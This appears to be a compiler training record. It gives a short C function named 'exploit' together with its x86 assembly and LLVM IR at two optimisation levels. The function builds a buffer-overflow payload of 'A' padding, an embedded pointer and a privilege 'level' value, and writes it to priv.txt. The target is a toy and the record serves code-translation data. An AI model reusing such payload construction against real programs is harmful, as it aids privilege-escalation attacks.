#define NULL ((void *)0)
typedef unsigned long size_t; // Customize by platform.
typedef long intptr_t;
typedef unsigned long uintptr_t;
typedef long scalar_t__; // Either arithmetic or pointer type.
/* By default, we understand bool (as a convenience). */
typedef int bool;
#define false 0
#define true 1

/* Forward declarations */

/* Type definitions */
typedef int /*<<< orphan*/ FILE;

/* Variables and functions */
int /*<<< orphan*/ fclose(int /*<<< orphan*/ *);
int /*<<< orphan*/ *fopen(char *, char *);
int /*<<< orphan*/ fwrite(char *, int, int, int /*<<< orphan*/ *);
int /*<<< orphan*/ memset(char **, int, int);
void exploit(int *ptr) {
  FILE *f;
  char overflow[32];
  unsigned int offset = 16;
  int level = 0x10000;
  memset(&overflow, 0x41, 32);
  overflow[offset] = ((int)ptr >> 24) & 0xff;
  overflow[offset + 1] = ((int)ptr >> 16) & 0xff;
  overflow[offset + 2] = ((int)ptr >> 8) & 0xff;
  overflow[offset + 3] = (int)ptr & 0xff;
  overflow[offset + 4] = (level >> 24) & 0xff;
  overflow[offset + 5] = (level >> 16) & 0xff;
  overflow[offset + 6] = (level >> 8) & 0xff;
  overflow[offset + 7] = level & 0xff;
  f = fopen("priv.txt", "w");
  fwrite(overflow, 32, 1, f);
  fclose(f);
}


x86 assembly (clang, -O0):
<exploit>:
push   %rbp
mov    %rsp,%rbp
sub    $0x40,%rsp
mov    %rdi,-0x8(%rbp)
movl   $0x10,-0x34(%rbp)
movl   $0x10000,-0x38(%rbp)
lea    -0x30(%rbp),%rdi
mov    $0x41,%esi
mov    $0x20,%edx
call   1040 <memset@plt>
mov    -0x8(%rbp),%rax
sar    $0x18,%eax
and    $0xff,%eax
mov    %al,%cl
mov    -0x34(%rbp),%eax
mov    %cl,-0x30(%rbp,%rax,1)
mov    -0x8(%rbp),%rax
sar    $0x10,%eax
and    $0xff,%eax
mov    %al,%cl
mov    -0x34(%rbp),%eax
add    $0x1,%eax
mov    %eax,%eax
mov    %cl,-0x30(%rbp,%rax,1)
mov    -0x8(%rbp),%rax
sar    $0x8,%eax
and    $0xff,%eax
mov    %al,%cl
mov    -0x34(%rbp),%eax
add    $0x2,%eax
mov    %eax,%eax
mov    %cl,-0x30(%rbp,%rax,1)
mov    -0x8(%rbp),%rax
and    $0xff,%eax
mov    %al,%cl
mov    -0x34(%rbp),%eax
add    $0x3,%eax
mov    %eax,%eax
mov    %cl,-0x30(%rbp,%rax,1)
mov    -0x38(%rbp),%eax
sar    $0x18,%eax
and    $0xff,%eax
mov    %al,%cl
mov    -0x34(%rbp),%eax
add    $0x4,%eax
mov    %eax,%eax
mov    %cl,-0x30(%rbp,%rax,1)
mov    -0x38(%rbp),%eax
sar    $0x10,%eax
and    $0xff,%eax
mov    %al,%cl
mov    -0x34(%rbp),%eax
add    $0x5,%eax
mov    %eax,%eax
mov    %cl,-0x30(%rbp,%rax,1)
mov    -0x38(%rbp),%eax
sar    $0x8,%eax
and    $0xff,%eax
mov    %al,%cl
mov    -0x34(%rbp),%eax
add    $0x6,%eax
mov    %eax,%eax
mov    %cl,-0x30(%rbp,%rax,1)
mov    -0x38(%rbp),%eax
and    $0xff,%eax
mov    %al,%cl
mov    -0x34(%rbp),%eax
add    $0x7,%eax
mov    %eax,%eax
mov    %cl,-0x30(%rbp,%rax,1)
lea    0xdcb(%rip),%rdi
lea    0xdcd(%rip),%rsi
call   1050 <fopen@plt>
mov    %rax,-0x10(%rbp)
lea    -0x30(%rbp),%rdi
mov    -0x10(%rbp),%rcx
mov    $0x20,%esi
mov    $0x1,%edx
call   1060 <fwrite@plt>
mov    -0x10(%rbp),%rdi
call   1030 <fclose@plt>
add    $0x40,%rsp
pop    %rbp
ret

x86 assembly (clang, -O2):
<exploit>:
push   %r14
push   %rbx
sub    $0x28,%rsp
mov    %rdi,%rbx
mov    %rsp,%r14
mov    %r14,%rdi
mov    $0x41,%esi
mov    $0x20,%edx
call   1040 <memset@plt>
mov    %rbx,%rax
shr    $0x18,%rax
mov    %al,0x10(%rsp)
mov    %rbx,%rax
shr    $0x10,%rax
mov    %al,0x11(%rsp)
mov    %bh,0x12(%rsp)
mov    %bl,0x13(%rsp)
movl   $0x100,0x14(%rsp)
lea    0xe74(%rip),%rdi
lea    0xe76(%rip),%rsi
call   1050 <fopen@plt>
mov    %rax,%rbx
mov    %r14,%rdi
mov    $0x20,%esi
mov    $0x1,%edx
mov    %rax,%rcx
call   1060 <fwrite@plt>
mov    %rbx,%rdi
call   1030 <fclose@plt>
add    $0x28,%rsp
pop    %rbx
pop    %r14
ret

LLVM IR (-O0):
@.str = [9 x i8] c"priv.txt\00"
@.str.1 = [2 x i8] c"w\00"
define void @exploit(i32* %0) {
%2 = alloca i32*
%3 = alloca i32*
%4 = alloca [32 x i8]
%5 = alloca i32
%6 = alloca i32
store i32* %0, i32** %2
store i32 16, i32* %5
store i32 65536, i32* %6
%7 = bitcast [32 x i8]* %4 to i8**
%8 = call i32 @memset(i8** %7, i32 65, i32 32)
%9 = load i32*, i32** %2
%10 = ptrtoint i32* %9 to i32
%11 = ashr i32 %10, 24
%12 = and i32 %11, 255
%13 = trunc i32 %12 to i8
%14 = load i32, i32* %5
%15 = zext i32 %14 to i64
%16 = getelementptr inbounds [32 x i8], [32 x i8]* %4, i64 0, i64 %15
store i8 %13, i8* %16
%17 = load i32*, i32** %2
%18 = ptrtoint i32* %17 to i32
%19 = ashr i32 %18, 16
%20 = and i32 %19, 255
%21 = trunc i32 %20 to i8
%22 = load i32, i32* %5
%23 = add i32 %22, 1
%24 = zext i32 %23 to i64
%25 = getelementptr inbounds [32 x i8], [32 x i8]* %4, i64 0, i64 %24
store i8 %21, i8* %25
%26 = load i32*, i32** %2
%27 = ptrtoint i32* %26 to i32
%28 = ashr i32 %27, 8
%29 = and i32 %28, 255
%30 = trunc i32 %29 to i8
%31 = load i32, i32* %5
%32 = add i32 %31, 2
%33 = zext i32 %32 to i64
%34 = getelementptr inbounds [32 x i8], [32 x i8]* %4, i64 0, i64 %33
store i8 %30, i8* %34
%35 = load i32*, i32** %2
%36 = ptrtoint i32* %35 to i32
%37 = and i32 %36, 255
%38 = trunc i32 %37 to i8
%39 = load i32, i32* %5
%40 = add i32 %39, 3
%41 = zext i32 %40 to i64
%42 = getelementptr inbounds [32 x i8], [32 x i8]* %4, i64 0, i64 %41
store i8 %38, i8* %42
%43 = load i32, i32* %6
%44 = ashr i32 %43, 24
%45 = and i32 %44, 255
%46 = trunc i32 %45 to i8
%47 = load i32, i32* %5
%48 = add i32 %47, 4
%49 = zext i32 %48 to i64
%50 = getelementptr inbounds [32 x i8], [32 x i8]* %4, i64 0, i64 %49
store i8 %46, i8* %50
%51 = load i32, i32* %6
%52 = ashr i32 %51, 16
%53 = and i32 %52, 255
%54 = trunc i32 %53 to i8
%55 = load i32, i32* %5
%56 = add i32 %55, 5
%57 = zext i32 %56 to i64
%58 = getelementptr inbounds [32 x i8], [32 x i8]* %4, i64 0, i64 %57
store i8 %54, i8* %58
%59 = load i32, i32* %6
%60 = ashr i32 %59, 8
%61 = and i32 %60, 255
%62 = trunc i32 %61 to i8
%63 = load i32, i32* %5
%64 = add i32 %63, 6
%65 = zext i32 %64 to i64
%66 = getelementptr inbounds [32 x i8], [32 x i8]* %4, i64 0, i64 %65
store i8 %62, i8* %66
%67 = load i32, i32* %6
%68 = and i32 %67, 255
%69 = trunc i32 %68 to i8
%70 = load i32, i32* %5
%71 = add i32 %70, 7
%72 = zext i32 %71 to i64
%73 = getelementptr inbounds [32 x i8], [32 x i8]* %4, i64 0, i64 %72
store i8 %69, i8* %73
%74 = call i32* @fopen(i8* getelementptr inbounds ([9 x i8], [9 x i8]* @.str, i64 0, i64 0), i8* getelementptr inbounds ([2 x i8], [2 x i8]* @.str.1, i64 0, i64 0))
store i32* %74, i32** %3
%75 = getelementptr inbounds [32 x i8], [32 x i8]* %4, i64 0, i64 0
%76 = load i32*, i32** %3
%77 = call i32 @fwrite(i8* %75, i32 32, i32 1, i32* %76)
%78 = load i32*, i32** %3
%79 = call i32 @fclose(i32* %78)
ret void
}

LLVM IR (-O2):
@.str = [9 x i8] c"priv.txt\00"
@.str.1 = [2 x i8] c"w\00"
define void @exploit(i32* %0) {
%2 = alloca [32 x i8]
%3 = getelementptr inbounds [32 x i8], [32 x i8]* %2, i64 0, i64 0
%4 = bitcast [32 x i8]* %2 to i8**
%5 = call i32 @memset(i8** %4, i32 65, i32 32)
%6 = ptrtoint i32* %0 to i64
%7 = trunc i64 %6 to i8
%8 = lshr i64 %6, 24
%9 = trunc i64 %8 to i8
%10 = getelementptr inbounds [32 x i8], [32 x i8]* %2, i64 0, i64 16
store i8 %9, i8* %10
%11 = lshr i64 %6, 16
%12 = trunc i64 %11 to i8
%13 = getelementptr inbounds [32 x i8], [32 x i8]* %2, i64 0, i64 17
store i8 %12, i8* %13
%14 = lshr i64 %6, 8
%15 = trunc i64 %14 to i8
%16 = getelementptr inbounds [32 x i8], [32 x i8]* %2, i64 0, i64 18
store i8 %15, i8* %16
%17 = getelementptr inbounds [32 x i8], [32 x i8]* %2, i64 0, i64 19
store i8 %7, i8* %17
%18 = getelementptr inbounds [32 x i8], [32 x i8]* %2, i64 0, i64 20
store i8 0, i8* %18
%19 = getelementptr inbounds [32 x i8], [32 x i8]* %2, i64 0, i64 21
store i8 1, i8* %19
%20 = getelementptr inbounds [32 x i8], [32 x i8]* %2, i64 0, i64 22
store i8 0, i8* %20
%21 = getelementptr inbounds [32 x i8], [32 x i8]* %2, i64 0, i64 23
store i8 0, i8* %21
%22 = call i32* @fopen(i8* getelementptr inbounds ([9 x i8], [9 x i8]* @.str, i64 0, i64 0), i8* getelementptr inbounds ([2 x i8], [2 x i8]* @.str.1, i64 0, i64 0))
%23 = call i32 @fwrite(i8* %3, i32 32, i32 1, i32* %22)
%24 = call i32 @fclose(i32* %22)
ret void
}